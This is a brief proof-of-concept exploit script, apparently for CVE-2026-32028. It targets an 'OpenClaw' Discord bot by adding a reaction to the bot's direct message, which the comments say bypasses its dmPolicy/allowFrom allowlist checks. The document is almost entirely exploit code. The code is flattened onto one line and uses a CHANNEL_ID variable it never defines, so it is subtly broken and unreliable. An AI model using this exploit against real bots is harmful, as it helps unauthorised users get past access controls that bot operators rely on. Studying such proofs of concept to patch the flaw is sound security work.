CVE-2026-32028

# This is a conceptual Proof of Concept (PoC) demonstrating the trigger mechanism. # Exploitation requires interaction with the OpenClaw Discord bot. import discord # Configuration TARGET_BOT_ID = 123456789012345678 # Replace with actual OpenClaw Bot ID MESSAGE_ID = 987654321098765432 # The ID of the DM message sent by the bot TOKEN = 'ATTACKER_USER_TOKEN' # Attacker's Discord token intents = discord.Intents.default() client = discord.Client(intents=intents) @client.event async def on_ready(): print(f'Logged in as {client.user}') try: # Fetch the specific channel (DM) or use the channel object directly # In a real scenario, the attacker finds the DM channel ID channel = client.get_channel(CHANNEL_ID) if channel: # Fetch the message sent by the bot message = await channel.fetch_message(MESSAGE_ID) # Trigger the vulnerability by adding a reaction # This bypasses dmPolicy/allowFrom checks in vulnerable versions await message.add_reaction('✅') print(f'[+] Reaction added to message {MESSAGE_ID}. Event queued.') else: print('[-] Channel not found.') except Exception as e: print(f'[-] Error: {e}') await client.close() # Note: Actual exploitation relies on the victim bot accepting the reaction # and processing it without verifying the sender against the allowlist. # client.run(TOKEN)
